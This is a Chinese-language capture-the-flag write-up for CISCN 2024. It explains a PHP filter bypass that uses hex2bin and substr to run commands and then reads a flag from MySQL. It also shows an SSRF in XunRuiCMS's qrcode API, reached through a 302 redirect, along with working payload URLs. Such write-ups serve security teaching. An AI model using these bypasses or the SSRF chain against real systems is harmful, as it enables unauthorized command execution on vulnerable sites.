Ciscn2024
Simple_php
1 |
|
此时发现该过滤的都过滤了;而我们可以利用php -r
来执行命令
此时我们能绕过的就是进行编码进行绕过;而因为base64
和xxd
都被过滤;此时我们就可以尝试hex2bin
编码;此时的hex2bin
可以将十六进制转为ascii
但是此时有个问题就是hex2bin
要求里面的参数类型为字符串;但是我们的""
又被过滤了。此时我们可以考虑使用_
使其默认为字符串;然后再使用substr()
来截取后续我们要执行的命令来绕过。
所以此时的思路就是使用hex2bin()
来编码绕过上面的关键词检测,接着使用_
下划线来使得hex2bin
中的编码成为字符串,最后再使用substr()
来截取编码后的命令。
payload
如下:
1 | cmd=php -r $a=hex2bin(substr(_6c73202f,1));system($a); |
此时发现flag
不在目录下面,但是当我们使用grep -r "flag" /
来全局查找flag
时会发现有一些日语
此时翻译完后是
1 | 此系统上存在一个名为的文件。 该数字表示无法自动升级(或降级)的数据库二进制格式的版本。 nn因此,旧数据目录将重命名为 /var/lib/mysql-*,新数据目录将初始化为 /var/lib/mysql。 nn如有必要,手动导出/导入数据(例如使用 mysqldump)。 |
既然找不到flag
;那么此时我就可以怀疑flag
就在mysql
数据库里面。
此时执行
payload
1 | mysql -u root -p'root' -e 'show databases'; |
来登录并查看所有的数据库的库
接下来我们逐一的查看库下面的表,后面可以发现再PHP_CMS
有flag
payload
1 | mysql -u root -p'root' -e 'use PHP_CMS;SHOW TABLES;' |
所以此时的最终的payload
是
1 | mysql -u root -p'root' -e 'use PHP_CMS;SHOW TABLES;select * from F1ag_Se3Re7;' |
flag{d3dad6c8-fd34-499a-9428-6f82c92c11af}
easycms
hint:
1 | 简单的cms,可以扫扫看? 提示1: /flag.php: |
此时扫描结果如下:
此时访问flag.php
后会得到回显如下
1 | Just input 'cmd' From 127.0.0.1 |
此时我们大致就可以将思路定下来了,看看能不能利用ssrf
。此时我们先搜一下这个cms
有没有存在ssrf
此时发现在qrcode
中存在ssrf
,但是很可惜就是没有给出exp
然后又有提示说要查看源码,那大概就是要进行代码审计然后打ssrf
了。
白盒审计
在进行代码审计前我们可以先看一下开发者文档,先大致了解一下这些目录的作用
二次开发须知(必读),开发入门,PHP开源CMS系统帮助文档 (xunruicms.com)
此时经过阅读我们将核心放在dayrui目录
此时该目录下的App
的作用是应用程序目录、自定义应用、自定义插件、自定义模型;Fcms
是XunRuiCMS
程序类目录,此目录的文件不允许修改;ThirdParty
是第三方类的程序文件。此时在大致了解了目录结构之后我们就可以开始代码审计了。因为前面已经给出了ssrf
的大致位置,所以此时我们可以直接全局搜素qrcode
此时我们跟进到这个Api.php
,此时函数如下
1 | public function qrcode() { |
经过审计我们此时发现存在四个参数$value、$thumb、$matrixPointSize、$errorCorrectionLevel
;且这四个参数的参数值我们都可以控制,接下来就是看看哪里会有问题。接下来继续看发现file
参数由这四个参数组成但是我们不可控制;接下来就定位到了thumb
参数,此时在$logo = imagecreatefromstring(dr_catcher_data($thumb));
中使用了dr_catcher_data
对thumb
参数进行了处理
我们跟进进去,此时我们注意到一个非常危险的函数curl_exec()
此时的curl_exec()
会造成ssrf
刚好和我们预期的一样。那么此时我们就可以以thumb
参数入手,填入一个302
重定向的地址,将这个重定向的地址指向127.0.0.1/flag.php
然后再构造cmd
来执行命令。
此时我们将这个302重定向的服务架设在自己的vps上面
1 |
|
然后构造payload
让我们的靶机来访问这个重定向的网址,使其自己访问自己的flag.php
目录,进而执行命令
此时我们经管部阅读开发者文档我们可以知道如何进行构造
payload如下
1 | /index.php?s=api&c=api&m=qrcode&thumb=123.207.xx.xx&text=1&size=2&level=1 |
easycms_revenge
这题和昨天的不一样的点就在多了一个图片的检测;此时我们的解决办法就是在302重定向的目录下在放一张真正的图片
payload如下
1 |
|